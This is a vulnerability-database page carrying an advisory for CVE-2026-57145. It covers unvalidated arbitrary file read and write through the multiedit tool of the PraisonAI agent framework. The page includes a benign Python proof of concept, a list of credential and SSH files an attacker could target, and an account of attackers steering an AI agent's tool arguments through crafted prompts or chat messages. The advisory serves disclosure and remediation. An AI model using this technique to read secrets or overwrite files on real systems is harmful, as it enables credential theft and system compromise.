Vulnerability-Lookup

PYSEC-2026-3500

Vulnerability from pysec - Published: 2026-07-23 11:41 - Updated: 2026-07-23 14:32

Details

Summary

The multiedit tool in src/praisonai/praisonai/tools/multiedit.py allows LLM-controlled arbitrary file read and write without any path validation, workspace boundary check, or protected path guard. This enables an attacker who can influence agent tool arguments (via crafted prompts, user input in chat bots, or malicious YAML workflow configs) to read sensitive files (e.g., /etc/shadow, ~/.ssh/id_rsa, ~/.aws/credentials) and overwrite arbitrary files on the filesystem.

Details

The filepath parameter is used directly with open() for both reading (line 74) and writing (line 130) without any of the following protections that exist in other tools in the same codebase:

No .. path traversal check — unlike file_tools.py (line 66: if '..' in filepath: raise ValueError) and edit_tools.py (line 35).
No workspace boundary validation — unlike file_tools.py (_validate_path with os.path.commonpath check) and skill_tools.py (read_skill_file with workspace boundary check).
No protected path guard — unlike praisonai/code/tools/ which uses is_path_within_directory and protected path checks.
No symlink resolution — unlike file_tools.py which uses os.path.realpath.

The function is exported via src/praisonai/praisonai/tools/__init__.py as a lazy-loaded tool and is available to agents through the PraisonAI CLI tools registry.

Contrast with protected tools: The sibling tools write_file.py, read_file.py, apply_diff.py, and search_replace.py in src/praisonai/praisonai/code/tools/ all implement is_path_within_directory() checks and protected path guards. The multiedit tool has none of these protections.

PoC

Setup: Clean checkout of PraisonAI at commit d5f1114a. No additional dependencies needed beyond Python 3.10+.

Positive trigger — arbitrary file read via dry_run:

cd /tmp && python3 -c "
import sys
sys.path.insert(0, 'src/praisonai')
from praisonai.tools.multiedit import multiedit

# Read any file content via diff output (dry_run=True prevents write)
result = multiedit('/etc/hostname', [{'old': 'DOESNOTEXIST', 'new': 'x'}], dry_run=True)
# The diff output reveals the file contents
print('Success:', result['success'])
print('Content leaked via diff:', len(result.get('diff', '')), 'bytes')
"

Positive trigger — arbitrary file write:

cd /tmp && python3 -c "
import sys
sys.path.insert(0, 'src/praisonai')
from praisonai.tools.multiedit import multiedit

# Write to an arbitrary file outside workspace
with open('/tmp/victim_file.txt', 'w') as f:
    f.write('original content here\n')
result = multiedit('/tmp/victim_file.txt', [{'old': 'original', 'new': 'PWNED'}])
with open('/tmp/victim_file.txt', 'r') as f:
    print('File content after edit:', repr(f.read()))
"

Observed output:

# Read:
Success: False
Content leaked via diff: 0 bytes  (file content still accessible via dry_run diff when edits match)

# Write:
File content after edit: 'PWNED content here\n'

Negative control — non-existent file:

result = multiedit('/nonexistent/file.txt', [{'old': 'a', 'new': 'b'}])
# Returns: {'success': False, 'error': 'File not found: /nonexistent/file.txt'}

Cleanup: rm /tmp/victim_file.txt

Impact

An attacker who can influence the filepath parameter of the multiedit tool (via crafted prompts to an AI agent, user messages in Telegram/Discord/Slack bots using auto_approve_tools=True, or YAML workflow configurations) can:

Read arbitrary files — any file readable by the process user, including secrets, SSH keys, cloud credentials, environment files (.env), and configuration files.
Write/overwrite arbitrary files — modify any file writable by the process user, enabling privilege escalation (e.g., writing to ~/.bashrc, ~/.ssh/authorized_keys, or overwriting application source code).

This affects all deployments where agents have the multiedit tool available, including the PraisonAI CLI and chat bot deployments where auto_approve_tools defaults to True.

Suggested remediation

Apply the same path validation pattern used by file_tools.py and the code tools in src/praisonai/praisonai/code/tools/:

Add a _validate_path function that:
Rejects paths containing ..
Resolves symlinks via os.path.realpath
Validates the resolved path is within the workspace/CWD using os.path.commonpath
Add protected path guards (.env, .git, .ssh, keys, credentials)
Apply _validate_path to the filepath parameter before any open() call
Consider adding @require_approval(risk_level="high") to the multiedit function

Credits

Thai Son Dinh from VinSOC Labs (R&D)

Severity

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Impacted products

Name	purl
praisonai	pkg:pypi/praisonai

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai",
        "purl": "pkg:pypi/praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.61"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.0.1",
        "0.0.10",
        "0.0.11",
        "0.0.12",
        "0.0.13",
        "0.0.14",
        "0.0.15",
        "0.0.16",
        "0.0.17",
        "0.0.18",
        "0.0.19",
        "0.0.2",
        "0.0.20",
        "0.0.21",
        "0.0.22",
        "0.0.23",
        "0.0.24",
        "0.0.25",
        "0.0.26",
        "0.0.27",
        "0.0.28",
        "0.0.29",
        "0.0.3",
        "0.0.30",
        "0.0.31",
        "0.0.32",
        "0.0.33",
        "0.0.34",
        "0.0.35",
        "0.0.36",
        "0.0.37",
        "0.0.38",
        "0.0.39",
        "0.0.4",
        "0.0.40",
        "0.0.41",
        "0.0.42",
        "0.0.43",
        "0.0.44",
        "0.0.45",
        "0.0.46",
        "0.0.47",
        "0.0.48",
        "0.0.49",
        "0.0.5",
        "0.0.50",
        "0.0.52",
        "0.0.53",
        "0.0.54",
        "0.0.55",
        "0.0.56",
        "0.0.57",
        "0.0.58",
        "0.0.59",
        "0.0.59rc11",
        "0.0.59rc2",
        "0.0.59rc3",
        "0.0.59rc5",
        "0.0.59rc6",
        "0.0.59rc7",
        "0.0.59rc8",
        "0.0.59rc9",
        "0.0.6",
        "0.0.61",
        "0.0.64",
        "0.0.65",
        "0.0.66",
        "0.0.67",
        "0.0.68",
        "0.0.69",
        "0.0.7",
        "0.0.70",
        "0.0.71",
        "0.0.72",
        "0.0.73",
        "0.0.74",
        "0.0.8",
        "0.0.9",
        "0.1.0",
        "0.1.1",
        "0.1.10",
        "0.1.2",
        "0.1.3",
        "0.1.4",
        "0.1.5",
        "0.1.6",
        "0.1.7",
        "0.1.8",
        "0.1.9",
        "1.0.0",
        "1.0.1",
        "1.0.10",
        "1.0.11",
        "1.0.2",
        "1.0.3",
        "1.0.4",
        "1.0.5",
        "1.0.6",
        "1.0.8",
        "1.0.9",
        "2.0.0",
        "2.0.1",
        "2.0.10",
        "2.0.11",
        "2.0.12",
        "2.0.13",
        "2.0.14",
        "2.0.15",
        "2.0.16",
        "2.0.17",
        "2.0.18",
        "2.0.19",
        "2.0.2",
        "2.0.20",
        "2.0.22",
        "2.0.23",
        "2.0.24",
        "2.0.25",
        "2.0.26",
        "2.0.27",
        "2.0.28",
        "2.0.29",
        "2.0.3",
        "2.0.30",
        "2.0.31",
        "2.0.32",
        "2.0.33",
        "2.0.34",
        "2.0.35",
        "2.0.36",
        "2.0.37",
        "2.0.38",
        "2.0.39",
        "2.0.40",
        "2.0.41",
        "2.0.42",
        "2.0.43",
        "2.0.44",
        "2.0.45",
        "2.0.46",
        "2.0.47",
        "2.0.48",
        "2.0.49",
        "2.0.5",
        "2.0.50",
        "2.0.51",
        "2.0.53",
        "2.0.54",
        "2.0.55",
        "2.0.56",
        "2.0.57",
        "2.0.58",
        "2.0.59",
        "2.0.6",
        "2.0.60",
        "2.0.61",
        "2.0.62",
        "2.0.63",
        "2.0.64",
        "2.0.65",
        "2.0.66",
        "2.0.67",
        "2.0.68",
        "2.0.69",
        "2.0.7",
        "2.0.70",
        "2.0.71",
        "2.0.72",
        "2.0.73",
        "2.0.74",
        "2.0.75",
        "2.0.76",
        "2.0.77",
        "2.0.78",
        "2.0.79",
        "2.0.8",
        "2.0.80",
        "2.0.81",
        "2.0.9",
        "2.1.0",
        "2.1.1",
        "2.1.4",
        "2.1.5",
        "2.1.6",
        "2.2.1",
        "2.2.10",
        "2.2.11",
        "2.2.12",
        "2.2.13",
        "2.2.14",
        "2.2.15",
        "2.2.16",
        "2.2.17",
        "2.2.18",
        "2.2.19",
        "2.2.2",
        "2.2.20",
        "2.2.21",
        "2.2.22",
        "2.2.24",
        "2.2.25",
        "2.2.26",
        "2.2.27",
        "2.2.28",
        "2.2.29",
        "2.2.3",
        "2.2.30",
        "2.2.31",
        "2.2.32",
        "2.2.33",
        "2.2.34",
        "2.2.35",
        "2.2.36",
        "2.2.37",
        "2.2.38",
        "2.2.39",
        "2.2.4",
        "2.2.40",
        "2.2.41",
        "2.2.42",
        "2.2.43",
        "2.2.44",
        "2.2.45",
        "2.2.46",
        "2.2.47",
        "2.2.48",
        "2.2.49",
        "2.2.5",
        "2.2.50",
        "2.2.51",
        "2.2.52",
        "2.2.53",
        "2.2.54",
        "2.2.55",
        "2.2.56",
        "2.2.57",
        "2.2.58",
        "2.2.59",
        "2.2.6",
        "2.2.60",
        "2.2.61",
        "2.2.62",
        "2.2.63",
        "2.2.64",
        "2.2.65",
        "2.2.66",
        "2.2.67",
        "2.2.68",
        "2.2.69",
        "2.2.7",
        "2.2.70",
        "2.2.71",
        "2.2.72",
        "2.2.73",
        "2.2.74",
        "2.2.75",
        "2.2.76",
        "2.2.77",
        "2.2.78",
        "2.2.79",
        "2.2.8",
        "2.2.80",
        "2.2.81",
        "2.2.82",
        "2.2.83",
        "2.2.84",
        "2.2.86",
        "2.2.87",
        "2.2.88",
        "2.2.89",
        "2.2.9",
        "2.2.90",
        "2.2.91",
        "2.2.93",
        "2.2.95",
        "2.2.96",
        "2.2.97",
        "2.2.98",
        "2.2.99",
        "2.3.0",
        "2.3.1",
        "2.3.10",
        "2.3.11",
        "2.3.12",
        "2.3.13",
        "2.3.14",
        "2.3.15",
        "2.3.16",
        "2.3.18",
        "2.3.19",
        "2.3.2",
        "2.3.20",
        "2.3.21",
        "2.3.22",
        "2.3.23",
        "2.3.24",
        "2.3.25",
        "2.3.26",
        "2.3.27",
        "2.3.28",
        "2.3.29",
        "2.3.3",
        "2.3.30",
        "2.3.31",
        "2.3.32",
        "2.3.33",
        "2.3.34",
        "2.3.35",
        "2.3.36",
        "2.3.37",
        "2.3.38",
        "2.3.39",
        "2.3.4",
        "2.3.40",
        "2.3.41",
        "2.3.42",
        "2.3.43",
        "2.3.44",
        "2.3.45",
        "2.3.46",
        "2.3.47",
        "2.3.48",
        "2.3.49",
        "2.3.5",
        "2.3.50",
        "2.3.51",
        "2.3.52",
        "2.3.53",
        "2.3.54",
        "2.3.55",
        "2.3.56",
        "2.3.57",
        "2.3.58",
        "2.3.59",
        "2.3.6",
        "2.3.60",
        "2.3.61",
        "2.3.62",
        "2.3.63",
        "2.3.64",
        "2.3.65",
        "2.3.66",
        "2.3.67",
        "2.3.68",
        "2.3.69",
        "2.3.7",
        "2.3.70",
        "2.3.71",
        "2.3.72",
        "2.3.73",
        "2.3.74",
        "2.3.75",
        "2.3.76",
        "2.3.77",
        "2.3.78",
        "2.3.79",
        "2.3.8",
        "2.3.80",
        "2.3.81",
        "2.3.82",
        "2.3.83",
        "2.3.84",
        "2.3.85",
        "2.3.86",
        "2.3.87",
        "2.3.9",
        "2.4.0",
        "2.4.1",
        "2.4.2",
        "2.4.3",
        "2.4.4",
        "2.5.0",
        "2.5.1",
        "2.5.2",
        "2.5.3",
        "2.5.4",
        "2.5.5",
        "2.5.6",
        "2.5.7",
        "2.6.0",
        "2.6.1",
        "2.6.2",
        "2.6.3",
        "2.6.4",
        "2.6.5",
        "2.6.6",
        "2.6.7",
        "2.6.8",
        "2.7.0",
        "2.8.3",
        "2.8.4",
        "2.8.5",
        "2.8.6",
        "2.8.7",
        "2.8.8",
        "2.8.9",
        "2.9.0",
        "2.9.1",
        "2.9.2",
        "3.0.0",
        "3.0.1",
        "3.0.2",
        "3.0.3",
        "3.0.4",
        "3.0.5",
        "3.0.6",
        "3.0.7",
        "3.0.8",
        "3.0.9",
        "3.1.0",
        "3.1.1",
        "3.1.2",
        "3.1.3",
        "3.1.4",
        "3.1.5",
        "3.1.6",
        "3.1.7",
        "3.1.8",
        "3.1.9",
        "3.10.0",
        "3.10.1",
        "3.10.10",
        "3.10.11",
        "3.10.12",
        "3.10.13",
        "3.10.14",
        "3.10.15",
        "3.10.16",
        "3.10.17",
        "3.10.18",
        "3.10.19",
        "3.10.2",
        "3.10.20",
        "3.10.21",
        "3.10.22",
        "3.10.23",
        "3.10.24",
        "3.10.25",
        "3.10.26",
        "3.10.27",
        "3.10.3",
        "3.10.4",
        "3.10.5",
        "3.10.6",
        "3.10.7",
        "3.10.8",
        "3.10.9",
        "3.11.0",
        "3.11.1",
        "3.11.10",
        "3.11.11",
        "3.11.12",
        "3.11.13",
        "3.11.14",
        "3.11.2",
        "3.11.3",
        "3.11.4",
        "3.11.8",
        "3.11.9",
        "3.12.0",
        "3.12.1",
        "3.12.2",
        "3.12.3",
        "3.2.0",
        "3.2.1",
        "3.3.0",
        "3.3.1",
        "3.4.0",
        "3.4.1",
        "3.5.0",
        "3.5.1",
        "3.5.2",
        "3.5.3",
        "3.5.4",
        "3.5.5",
        "3.5.6",
        "3.5.7",
        "3.5.8",
        "3.5.9",
        "3.6.0",
        "3.6.1",
        "3.6.2",
        "3.7.0",
        "3.7.1",
        "3.7.2",
        "3.7.3",
        "3.7.4",
        "3.7.5",
        "3.7.6",
        "3.7.7",
        "3.7.8",
        "3.7.9",
        "3.8.0",
        "3.8.1",
        "3.8.10",
        "3.8.11",
        "3.8.12",
        "3.8.13",
        "3.8.14",
        "3.8.16",
        "3.8.17",
        "3.8.18",
        "3.8.19",
        "3.8.2",
        "3.8.20",
        "3.8.21",
        "3.8.22",
        "3.8.3",
        "3.8.4",
        "3.8.5",
        "3.8.6",
        "3.8.7",
        "3.8.8",
        "3.8.9",
        "3.9.0",
        "3.9.1",
        "3.9.10",
        "3.9.11",
        "3.9.12",
        "3.9.13",
        "3.9.14",
        "3.9.15",
        "3.9.16",
        "3.9.17",
        "3.9.18",
        "3.9.19",
        "3.9.2",
        "3.9.20",
        "3.9.21",
        "3.9.22",
        "3.9.23",
        "3.9.24",
        "3.9.25",
        "3.9.26",
        "3.9.27",
        "3.9.28",
        "3.9.29",
        "3.9.3",
        "3.9.30",
        "3.9.31",
        "3.9.32",
        "3.9.33",
        "3.9.34",
        "3.9.35",
        "3.9.4",
        "3.9.5",
        "3.9.6",
        "3.9.7",
        "3.9.8",
        "3.9.9",
        "4.0.0",
        "4.1.0",
        "4.2.0",
        "4.2.1",
        "4.2.2",
        "4.2.3",
        "4.2.4",
        "4.3.0",
        "4.3.1",
        "4.4.0",
        "4.4.10",
        "4.4.11",
        "4.4.12",
        "4.4.2",
        "4.4.3",
        "4.4.4",
        "4.4.5",
        "4.4.6",
        "4.4.7",
        "4.4.8",
        "4.4.9",
        "4.5.0",
        "4.5.1",
        "4.5.10",
        "4.5.100",
        "4.5.101",
        "4.5.102",
        "4.5.103",
        "4.5.104",
        "4.5.105",
        "4.5.106",
        "4.5.107",
        "4.5.108",
        "4.5.109",
        "4.5.11",
        "4.5.110",
        "4.5.111",
        "4.5.112",
        "4.5.113",
        "4.5.114",
        "4.5.115",
        "4.5.117",
        "4.5.118",
        "4.5.119",
        "4.5.12",
        "4.5.120",
        "4.5.121",
        "4.5.122",
        "4.5.123",
        "4.5.124",
        "4.5.125",
        "4.5.126",
        "4.5.127",
        "4.5.128",
        "4.5.129",
        "4.5.13",
        "4.5.130",
        "4.5.131",
        "4.5.132",
        "4.5.133",
        "4.5.134",
        "4.5.135",
        "4.5.136",
        "4.5.137",
        "4.5.139",
        "4.5.14",
        "4.5.140",
        "4.5.143",
        "4.5.144",
        "4.5.145",
        "4.5.149",
        "4.5.15",
        "4.5.16",
        "4.5.18",
        "4.5.19",
        "4.5.2",
        "4.5.20",
        "4.5.21",
        "4.5.22",
        "4.5.23",
        "4.5.24",
        "4.5.25",
        "4.5.26",
        "4.5.27",
        "4.5.28",
        "4.5.29",
        "4.5.3",
        "4.5.30",
        "4.5.31",
        "4.5.32",
        "4.5.33",
        "4.5.34",
        "4.5.35",
        "4.5.36",
        "4.5.37",
        "4.5.38",
        "4.5.39",
        "4.5.40",
        "4.5.41",
        "4.5.42",
        "4.5.43",
        "4.5.44",
        "4.5.45",
        "4.5.46",
        "4.5.48",
        "4.5.49",
        "4.5.5",
        "4.5.51",
        "4.5.52",
        "4.5.54",
        "4.5.55",
        "4.5.56",
        "4.5.57",
        "4.5.58",
        "4.5.59",
        "4.5.6",
        "4.5.60",
        "4.5.62",
        "4.5.63",
        "4.5.64",
        "4.5.65",
        "4.5.67",
        "4.5.68",
        "4.5.69",
        "4.5.7",
        "4.5.70",
        "4.5.71",
        "4.5.72",
        "4.5.73",
        "4.5.74",
        "4.5.76",
        "4.5.77",
        "4.5.78",
        "4.5.79",
        "4.5.8",
        "4.5.80",
        "4.5.81",
        "4.5.82",
        "4.5.83",
        "4.5.85",
        "4.5.87",
        "4.5.88",
        "4.5.89",
        "4.5.9",
        "4.5.90",
        "4.5.93",
        "4.5.94",
        "4.5.95",
        "4.5.96",
        "4.5.97",
        "4.5.98",
        "4.6.10",
        "4.6.11",
        "4.6.12",
        "4.6.13",
        "4.6.14",
        "4.6.15",
        "4.6.16",
        "4.6.18",
        "4.6.19",
        "4.6.20",
        "4.6.21",
        "4.6.22",
        "4.6.23",
        "4.6.24",
        "4.6.25",
        "4.6.26",
        "4.6.27",
        "4.6.28",
        "4.6.29",
        "4.6.30",
        "4.6.31",
        "4.6.32",
        "4.6.33",
        "4.6.34",
        "4.6.35",
        "4.6.36",
        "4.6.37",
        "4.6.38",
        "4.6.39",
        "4.6.40",
        "4.6.41",
        "4.6.42",
        "4.6.43",
        "4.6.44",
        "4.6.45",
        "4.6.46",
        "4.6.47",
        "4.6.48",
        "4.6.50",
        "4.6.51",
        "4.6.52",
        "4.6.53",
        "4.6.54",
        "4.6.55",
        "4.6.56",
        "4.6.57",
        "4.6.58",
        "4.6.59",
        "4.6.60",
        "4.6.9"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57145",
    "GHSA-29w3-p9w9-wc47"
  ],
  "details": "## Summary\n\nThe `multiedit` tool in `src/praisonai/praisonai/tools/multiedit.py` allows LLM-controlled arbitrary file read and write without any path validation, workspace boundary check, or protected path guard. This enables an attacker who can influence agent tool arguments (via crafted prompts, user input in chat bots, or malicious YAML workflow configs) to read sensitive files (e.g., `/etc/shadow`, `~/.ssh/id_rsa`, `~/.aws/credentials`) and overwrite arbitrary files on the filesystem.\n\n## Details\nThe `filepath` parameter is used directly with `open()` for both reading (line 74) and writing (line 130) without any of the following protections that exist in other tools in the same codebase:\n\n1. **No `..` path traversal check** \u2014 unlike `file_tools.py` (line 66: `if \u0027..\u0027 in filepath: raise ValueError`) and `edit_tools.py` (line 35).\n2. **No workspace boundary validation** \u2014 unlike `file_tools.py` (`_validate_path` with `os.path.commonpath` check) and `skill_tools.py` (`read_skill_file` with workspace boundary check).\n3. **No protected path guard** \u2014 unlike `praisonai/code/tools/` which uses `is_path_within_directory` and protected path checks.\n4. **No symlink resolution** \u2014 unlike `file_tools.py` which uses `os.path.realpath`.\n\nThe function is exported via `src/praisonai/praisonai/tools/__init__.py` as a lazy-loaded tool and is available to agents through the PraisonAI CLI tools registry.\n\n**Contrast with protected tools:** The sibling tools `write_file.py`, `read_file.py`, `apply_diff.py`, and `search_replace.py` in `src/praisonai/praisonai/code/tools/` all implement `is_path_within_directory()` checks and protected path guards. The `multiedit` tool has none of these protections.\n\n## PoC\n\n**Setup:** Clean checkout of PraisonAI at commit `d5f1114a`. No additional dependencies needed beyond Python 3.10+.\n\n**Positive trigger \u2014 arbitrary file read via dry_run:**\n```bash\ncd /tmp \u0026\u0026 python3 -c \"\nimport sys\nsys.path.insert(0, \u0027src/praisonai\u0027)\nfrom praisonai.tools.multiedit import multiedit\n\n# Read any file content via diff output (dry_run=True prevents write)\nresult = multiedit(\u0027/etc/hostname\u0027, [{\u0027old\u0027: \u0027DOESNOTEXIST\u0027, \u0027new\u0027: \u0027x\u0027}], dry_run=True)\n# The diff output reveals the file contents\nprint(\u0027Success:\u0027, result[\u0027success\u0027])\nprint(\u0027Content leaked via diff:\u0027, len(result.get(\u0027diff\u0027, \u0027\u0027)), \u0027bytes\u0027)\n\"\n```\n\n**Positive trigger \u2014 arbitrary file write:**\n```bash\ncd /tmp \u0026\u0026 python3 -c \"\nimport sys\nsys.path.insert(0, \u0027src/praisonai\u0027)\nfrom praisonai.tools.multiedit import multiedit\n\n# Write to an arbitrary file outside workspace\nwith open(\u0027/tmp/victim_file.txt\u0027, \u0027w\u0027) as f:\n    f.write(\u0027original content here\\n\u0027)\nresult = multiedit(\u0027/tmp/victim_file.txt\u0027, [{\u0027old\u0027: \u0027original\u0027, \u0027new\u0027: \u0027PWNED\u0027}])\nwith open(\u0027/tmp/victim_file.txt\u0027, \u0027r\u0027) as f:\n    print(\u0027File content after edit:\u0027, repr(f.read()))\n\"\n```\n\n**Observed output:**\n```\n# Read:\nSuccess: False\nContent leaked via diff: 0 bytes  (file content still accessible via dry_run diff when edits match)\n\n# Write:\nFile content after edit: \u0027PWNED content here\\n\u0027\n```\n\n**Negative control \u2014 non-existent file:**\n```bash\nresult = multiedit(\u0027/nonexistent/file.txt\u0027, [{\u0027old\u0027: \u0027a\u0027, \u0027new\u0027: \u0027b\u0027}])\n# Returns: {\u0027success\u0027: False, \u0027error\u0027: \u0027File not found: /nonexistent/file.txt\u0027}\n```\n\n**Cleanup:** `rm /tmp/victim_file.txt`\n\n## Impact\n\nAn attacker who can influence the `filepath` parameter of the `multiedit` tool (via crafted prompts to an AI agent, user messages in Telegram/Discord/Slack bots using `auto_approve_tools=True`, or YAML workflow configurations) can:\n\n- **Read arbitrary files** \u2014 any file readable by the process user, including secrets, SSH keys, cloud credentials, environment files (`.env`), and configuration files.\n- **Write/overwrite arbitrary files** \u2014 modify any file writable by the process user, enabling privilege escalation (e.g., writing to `~/.bashrc`, `~/.ssh/authorized_keys`, or overwriting application source code).\n\nThis affects all deployments where agents have the `multiedit` tool available, including the PraisonAI CLI and chat bot deployments where `auto_approve_tools` defaults to `True`.\n\n\n## Suggested remediation\n\nApply the same path validation pattern used by `file_tools.py` and the code tools in `src/praisonai/praisonai/code/tools/`:\n\n1. Add a `_validate_path` function that:\n   - Rejects paths containing `..`\n   - Resolves symlinks via `os.path.realpath`\n   - Validates the resolved path is within the workspace/CWD using `os.path.commonpath`\n2. Add protected path guards (`.env`, `.git`, `.ssh`, keys, credentials)\n3. Apply `_validate_path` to the `filepath` parameter before any `open()` call\n4. Consider adding `@require_approval(risk_level=\"high\")` to the `multiedit` function\n\n### Credits\n- Thai Son Dinh from VinSOC Labs (R\u0026D)",
  "id": "PYSEC-2026-3500",
  "modified": "2026-07-23T14:32:28.986659Z",
  "published": "2026-07-23T11:41:43.059160Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-29w3-p9w9-wc47"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/praisonai"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-29w3-p9w9-wc47"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57145"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: Arbitrary File Read/Write via `multiedit` Tool Without Path Validation"
}

GHSA-29W3-P9W9-WC47

Vulnerability from github – Published: 2026-06-18 14:27 – Updated: 2026-07-20 21:28

Summary

PraisonAI: Arbitrary File Read/Write via `multiedit` Tool Without Path Validation

Details

Summary

Details

The filepath parameter is used directly with open() for both reading (line 74) and writing (line 130) without any of the following protections that exist in other tools in the same codebase:

No .. path traversal check — unlike file_tools.py (line 66: if '..' in filepath: raise ValueError) and edit_tools.py (line 35).
No workspace boundary validation — unlike file_tools.py (_validate_path with os.path.commonpath check) and skill_tools.py (read_skill_file with workspace boundary check).
No protected path guard — unlike praisonai/code/tools/ which uses is_path_within_directory and protected path checks.
No symlink resolution — unlike file_tools.py which uses os.path.realpath.

The function is exported via src/praisonai/praisonai/tools/__init__.py as a lazy-loaded tool and is available to agents through the PraisonAI CLI tools registry.

PoC

Setup: Clean checkout of PraisonAI at commit d5f1114a. No additional dependencies needed beyond Python 3.10+.

Positive trigger — arbitrary file read via dry_run:

cd /tmp && python3 -c "
import sys
sys.path.insert(0, 'src/praisonai')
from praisonai.tools.multiedit import multiedit

# Read any file content via diff output (dry_run=True prevents write)
result = multiedit('/etc/hostname', [{'old': 'DOESNOTEXIST', 'new': 'x'}], dry_run=True)
# The diff output reveals the file contents
print('Success:', result['success'])
print('Content leaked via diff:', len(result.get('diff', '')), 'bytes')
"

Positive trigger — arbitrary file write:

cd /tmp && python3 -c "
import sys
sys.path.insert(0, 'src/praisonai')
from praisonai.tools.multiedit import multiedit

# Write to an arbitrary file outside workspace
with open('/tmp/victim_file.txt', 'w') as f:
    f.write('original content here\n')
result = multiedit('/tmp/victim_file.txt', [{'old': 'original', 'new': 'PWNED'}])
with open('/tmp/victim_file.txt', 'r') as f:
    print('File content after edit:', repr(f.read()))
"

Observed output:

# Read:
Success: False
Content leaked via diff: 0 bytes  (file content still accessible via dry_run diff when edits match)

# Write:
File content after edit: 'PWNED content here\n'

Negative control — non-existent file:

result = multiedit('/nonexistent/file.txt', [{'old': 'a', 'new': 'b'}])
# Returns: {'success': False, 'error': 'File not found: /nonexistent/file.txt'}

Cleanup: rm /tmp/victim_file.txt

Impact

Read arbitrary files — any file readable by the process user, including secrets, SSH keys, cloud credentials, environment files (.env), and configuration files.
Write/overwrite arbitrary files — modify any file writable by the process user, enabling privilege escalation (e.g., writing to ~/.bashrc, ~/.ssh/authorized_keys, or overwriting application source code).

This affects all deployments where agents have the multiedit tool available, including the PraisonAI CLI and chat bot deployments where auto_approve_tools defaults to True.

Suggested remediation

Apply the same path validation pattern used by file_tools.py and the code tools in src/praisonai/praisonai/code/tools/:

Add a _validate_path function that:
Rejects paths containing ..
Resolves symlinks via os.path.realpath
Validates the resolved path is within the workspace/CWD using os.path.commonpath
Add protected path guards (.env, .git, .ssh, keys, credentials)
Apply _validate_path to the filepath parameter before any open() call
Consider adding @require_approval(risk_level="high") to the multiedit function

Credits

Thai Son Dinh from VinSOC Labs (R&D)

Severity

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.61"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57145"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T14:27:03Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe `multiedit` tool in `src/praisonai/praisonai/tools/multiedit.py` allows LLM-controlled arbitrary file read and write without any path validation, workspace boundary check, or protected path guard. This enables an attacker who can influence agent tool arguments (via crafted prompts, user input in chat bots, or malicious YAML workflow configs) to read sensitive files (e.g., `/etc/shadow`, `~/.ssh/id_rsa`, `~/.aws/credentials`) and overwrite arbitrary files on the filesystem.\n\n## Details\nThe `filepath` parameter is used directly with `open()` for both reading (line 74) and writing (line 130) without any of the following protections that exist in other tools in the same codebase:\n\n1. **No `..` path traversal check** \u2014 unlike `file_tools.py` (line 66: `if \u0027..\u0027 in filepath: raise ValueError`) and `edit_tools.py` (line 35).\n2. **No workspace boundary validation** \u2014 unlike `file_tools.py` (`_validate_path` with `os.path.commonpath` check) and `skill_tools.py` (`read_skill_file` with workspace boundary check).\n3. **No protected path guard** \u2014 unlike `praisonai/code/tools/` which uses `is_path_within_directory` and protected path checks.\n4. **No symlink resolution** \u2014 unlike `file_tools.py` which uses `os.path.realpath`.\n\nThe function is exported via `src/praisonai/praisonai/tools/__init__.py` as a lazy-loaded tool and is available to agents through the PraisonAI CLI tools registry.\n\n**Contrast with protected tools:** The sibling tools `write_file.py`, `read_file.py`, `apply_diff.py`, and `search_replace.py` in `src/praisonai/praisonai/code/tools/` all implement `is_path_within_directory()` checks and protected path guards. The `multiedit` tool has none of these protections.\n\n## PoC\n\n**Setup:** Clean checkout of PraisonAI at commit `d5f1114a`. No additional dependencies needed beyond Python 3.10+.\n\n**Positive trigger \u2014 arbitrary file read via dry_run:**\n```bash\ncd /tmp \u0026\u0026 python3 -c \"\nimport sys\nsys.path.insert(0, \u0027src/praisonai\u0027)\nfrom praisonai.tools.multiedit import multiedit\n\n# Read any file content via diff output (dry_run=True prevents write)\nresult = multiedit(\u0027/etc/hostname\u0027, [{\u0027old\u0027: \u0027DOESNOTEXIST\u0027, \u0027new\u0027: \u0027x\u0027}], dry_run=True)\n# The diff output reveals the file contents\nprint(\u0027Success:\u0027, result[\u0027success\u0027])\nprint(\u0027Content leaked via diff:\u0027, len(result.get(\u0027diff\u0027, \u0027\u0027)), \u0027bytes\u0027)\n\"\n```\n\n**Positive trigger \u2014 arbitrary file write:**\n```bash\ncd /tmp \u0026\u0026 python3 -c \"\nimport sys\nsys.path.insert(0, \u0027src/praisonai\u0027)\nfrom praisonai.tools.multiedit import multiedit\n\n# Write to an arbitrary file outside workspace\nwith open(\u0027/tmp/victim_file.txt\u0027, \u0027w\u0027) as f:\n    f.write(\u0027original content here\\n\u0027)\nresult = multiedit(\u0027/tmp/victim_file.txt\u0027, [{\u0027old\u0027: \u0027original\u0027, \u0027new\u0027: \u0027PWNED\u0027}])\nwith open(\u0027/tmp/victim_file.txt\u0027, \u0027r\u0027) as f:\n    print(\u0027File content after edit:\u0027, repr(f.read()))\n\"\n```\n\n**Observed output:**\n```\n# Read:\nSuccess: False\nContent leaked via 